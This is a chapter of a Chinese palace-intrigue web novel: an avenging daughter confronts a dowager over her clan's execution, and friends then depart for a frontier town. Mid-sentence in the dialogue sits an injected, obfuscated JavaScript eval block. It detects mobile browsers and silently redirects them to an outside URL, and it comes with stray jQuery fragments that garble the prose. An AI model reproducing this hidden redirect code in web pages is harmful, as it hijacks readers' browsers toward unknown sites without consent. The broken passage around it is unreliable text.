49. 往事旧仇
作品:《两情悦》 四喜醒来时,发现自己已经躺在床上不知睡了多久。
他睡得头痛欲裂,捂着脑袋爬起来,他明明记得自己在给殿下烹茶,刚烹好就,就……
四喜拍拍脑袋,他怎么什么也想不起来了。不好,殿下还等着喝茶呢。
“殿下,殿下。卑职一不小心睡着了,请殿下恕罪。”
四喜急匆匆冲进殿内,发现殿下正望着桌上的画看得出神。
“殿下,您可要喝茶?卑职这就去您烹。”
牧泓屿收回眼神,扫了一眼桌上还冒着热气的茶微皱了下眉。
“不用了,桌上不是有一壶吗。”
有一壶?四喜不敢置信的眨眨眼,难道是他给殿下烹好了茶才去睡觉的?他怎么一点儿都不记得了。
牧泓屿抬眼,见四喜还愣在原地盯着茶杯看,于是道:“怎么,你想喝?”
“不不不不不。”四喜连忙摆手,“卑职告退。”
出了殿门,四喜狠狠拍了拍脸让自己清醒清醒。
肯定是喝了那个小内侍给他的菊花酒喝醉了,他说是贵人赏的。果然是好酒,他才喝了半杯就醉了。
殿内,等四喜走后,牧泓屿从内殿将剑拿出来收好。眼神不自觉又飘向桌上的画,展开的半卷画,上面是阿缘、高琢还有皎皎。剩下半卷还未展开的,就是他了。
“记八月十六阿缘皎皎生辰图……”牧泓屿呢喃着念了一遍,便将画卷好装进了画筒。画得这样好,明日他得感谢高琢才是。
福乐宫,解决了宫宴上的麻烦事,黎稔正对着铜镜拆下头上繁重的珠钗。
呼——
一阵怪风吹进福乐宫,殿内点燃的琉璃灯突然全部熄灭,只剩香炉燃着袅袅白烟。
“三……”
唤三一进来点灯的话黎稔还未说出口,便被一把锋利的短刀抵上了喉咙。
“您可千万别出声,不然我这短刀会立刻划破你的喉咙,血溅当场的。”
铜镜里,黎稔看来人蒙着面还身穿宫服,想来是来者不善。
“姑娘你……”
“闭嘴!”
黎稔话还没说完就,被来人怒斥一声打断。
黎稔用余光瞥见了她衣角处格外显眼的的鎏金镂空香囊,“你是牧念汝将军……”
“呸,什么牧念汝!母亲的名字是姜念汝。”
姜燃冷哼一声,“你这忘恩负义的小人居然还记得母亲的名字,深夜梦醒时分,你就不怕她与我姜氏一族来找你索命吗!”
“太后,太后。”三一打不开殿门,只好在殿外扣门。她为黎稔取些菊花酒的功夫,正好碰上齐王殿下,两人便结伴一同回来,不料却见大殿内漆黑一片。
“太后,太后。齐王殿下来看您了。”
听见三一的声音,颈间的短刀更近了几分。
黎稔轻叹两声,念汝将军为人和善宽厚,怎么生的女儿是个火爆性子急脾气。
她无奈的高声道:“三一,你叫彰施回去吧,我今日乏了,想早些休息,你不用在我身边伺候了,早些睡吧。”
“是。”
三一虽略感奇怪,但黎稔的命令她还是听从的。于是便离开大殿外,到宫门口叫牧彰施回去了。
姜燃见她还算听话,抵在她颈间的短刀也拿了下来。
“我今日带母亲的遗物来,就是要你死个明白。”
姜燃站在黎稔身后一字一句道,“或者你告诉当年究竟发生了什么,我可以考虑暂时留你一命。”
黎稔垂下头一笑,“你母亲帮我回到兰诏,还救了我皇弟一命稳住了岌岌可危的兰诏。你母亲与姜氏一族是我兰诏的恩人,姑娘哪怕想拿走我的命我也绝无二话。”
“恩人?”姜燃此时愤恨到极点,手里握紧的短刀恨不得直接捅了黎稔。
她极力让自己冷静下来,“你嘴上说着恩人,可为何还要害我姜家一族满门抄斩。”
说及此处,黎稔愧疚不已。她极力解释道:“姑娘,我绝无害你母亲的心思。当年和亲队伍走到半路,还未出兰诏国土。皇弟年幼突得病重,宫内宦官当权不准御医医治我皇弟,他们从宗室选了一个痴傻孩子只等皇弟殡天便借势夺权。我母后孤立无援,只好托人送信来给我。我恳求念汝将军允我回兰诏几日,她传信给先帝,先帝允了我请求,我才得以快马加鞭赶回兰诏。”
“满口胡言!”姜燃冷笑道,“你不会觉得我当时尚在母亲腹中不知内情,所以敢随意出口诓我吧。盛安人人都说是母亲失职,害你走失才延误和亲日子。先帝杀我们姜氏一族是因为母亲失职,破坏兰诏与大邺两国盟好!”
铜镜中,姜燃一双桃花似的眸子目藏凶光。只是一双眼睛,黎稔仿佛看到了当年那个意气风发的少年将军。身骑乌骓马,一身银铠,使得双剑绝世无双。
黎稔轻叹,“我何苦骗你,当年我皇弟病重之时,兰诏上下誓死保卫我黎氏皇族的几族老臣人人皆知。”
黎稔挑眉眸中杀意波动,“先帝对姜氏一族痛下杀手,还是为了包庇陛下的失职之罪。我回到兰诏王城前,牧泓峙在盛安突染风邪高烧不退。牧怀兴心系幼子,并未听从先帝安排亲自驻扎云州边境等待和亲队伍。而是自己折返回盛安,让手下大臣为他包庇罪行。所以当年念汝将军的信应该先交到牧怀兴手中,然后再给陛下。信不翼而飞,太子一党也咬死未见信件。”
听完原委,姜燃道:“他委以重任的太子因并未在云州边境等待,故没有第一时间察觉和亲的队伍比约定离开兰诏的日子晚了许久。”
黎稔接着姜燃的话说道:“而且他手下的人故意丢了念汝将军的信,还刻意假传圣旨放我回兰诏。等先帝得知我皇弟病重的消息,我已经带着念汝将军的药治好他了。因为牧怀兴的过错,先帝失去了以最小代价吞并兰诏的最好时机。”
姜燃此时才算彻底明白,“他刚登基根基不稳,不好惹众怒。若不杀我母亲,那他的太子就会成为众矢之的,群臣群起而攻之。他再怎么气愤也不可能对自己的儿子下手,只能将杀掉我母亲,平息群臣之怒。”
黎稔无奈地点头,“只恨那人手脚太干净,我至今还未找到当年究竟是谁假传圣旨,不能为念汝将军报仇。”
姜燃眯起眼睛,心下有了决断。
“当年还有谁参与了,你告诉我,我会亲自为母亲报仇的。”
“牧怀兴为太子时身边最亲近的大臣有姚尺书和章珥,同他奉命来兰诏扎营的是同忠勇侯甘毅。能假传圣旨的,也就他们几人了。”
姜燃默默记下他们的名字,便准备离开。她还拿着高琢的腰牌,不宜逗留太久。
“等等,姜姑娘。”黎稔叫住姜燃。她将自己的金簪带到姜燃头上,“这是我从兰诏带来的簪子,宫中人人认得。若姑娘出宫遇到麻烦,可拿出此物。”
黎稔朝姜燃大拜,“今日我是代替兰诏黎氏一族向姑娘致谢。我向姑娘保证,日后只要你拿着金簪出入兰诏,兰诏宫内宫外姑娘皆畅通无阻。姑娘若想报仇,我兰诏皇族,愿为
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299789|195160||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
姑娘助力。”
姜燃摸了摸头上的金簪,回了个礼。
“今夜,芦元公主告诉我真相姜某感激涕零。母亲相信两国唇齿相依,我也愿助太后一臂之力。”
今夜听到三一的名字时她才明白过来,难怪十二会冒死为戈罗昂真为做事,原来是听命于她。
三一,十二,兰诏丰家。
黎稔对姜燃的话有些意外,但她只是笑笑并未当真。
“当年你在你母亲腹中,我用尽心力才拖延六个月让你能顺利生下。如今能见你一面,知道你平安,他日入九泉,我也算有脸见你母亲。”
提到母亲,姜燃静默良久。她将封住的大门用短刀挑开,出门离开了。
月落,天将明。
高琢一大早便收拾好东西,带着包袱离开了高府,他得赶紧和阿缘一起去滕州。
府中,尘起与高羡看着高琢决绝的背影沉默无语。
等到高琢离去,尘起才开口问道:“你不去送他?”
高羡没说话只是摇摇头。
“忆欢醒来怎么办,你怎么和她解释?”
“就说小琢出远门了,暂时不会回来了。”
高羡的声音嘶哑,望着院中两指粗的梧桐树道:“昨夜我就知道小琢不会再留在高府了,他走得比我想的还坚决。”
尘起的目光从高羡脸上移开,没再搭话,只是暗中握紧了手中的横刀。
高琢到的时候姚映梧与肖遥都已经在门口了。
肖遥见高琢行装轻简而来,笑道:“刚刚我还跟阿缘说呢,鄢云十州冬日寒冷,咱们一起不知多久才能回来。我要她多备些冬衣,结果就看见你也背着这点东西就来了,别还没到滕州,你们两个都冻病了。”
姚映梧也担忧接道:“昨夜母亲特意叮嘱,说边陲苦寒,我在盛安冬日畏寒是甚少出门,衣服恐抵御不了边陲的寒风。她叫我先带几身厚衣服,剩下的去滕州做才好。”
高琢也悻悻回道:“我的衣服都是来盛安现做的,现下还没来得及做冬日衣服呢。”
见二人都当真了,肖遥才笑道:“我逗你们的,我常在边境,知道盛安的衣裳再厚也很难抵住大雪的寒气。我啊特意多带了几身裘衣,兄长给祖父传信说庆州前几日下了场小雪,一下子冷了。庆州下雪了,蔺州也快了。等我们一到滕州,滕州也该下雪了,到时候盛安的衣服肯定不抗风,有了这几身裘衣,我们也能抗一阵。”
“皎皎,还好有你。”姚映梧听了肖遥的话,放下心里的担忧。
肖遥眨眨眼道:“你在滕州的母族到时候会接应我们的,我感谢你才是。”
“咦?皎皎你怎么知道我母族人会在盛安接应我们?”
“我今早拜别姑母后碰上贤妃身边的青萝姑娘,她特意告诉我的,还说贤妃已经替裴太守和你都打点好了,叫你不用担心,安心替陛下寻药就好。”
肖遥的话给姚映梧吃上了一颗定心丸,长姐总是能考虑周全,替她谋划好一切。
“哎,肖遥。你既去了宫里牧泓屿怎么没同你一起来?”
高琢等了好一会儿也没见到他,他还想问问牧泓屿自己替他画的画好不好呢。
肖遥摇摇头,道:“我也本想与他一同来的,可四喜说他一大早就离开了,也不知去哪儿了。我在宫里找了一圈没见他,便先自己过来了。”
高琢啧啧两声,“他可别是后悔同我们一起……”
哎呦!高琢话还没说完,肩膀上便重重挨了一下。

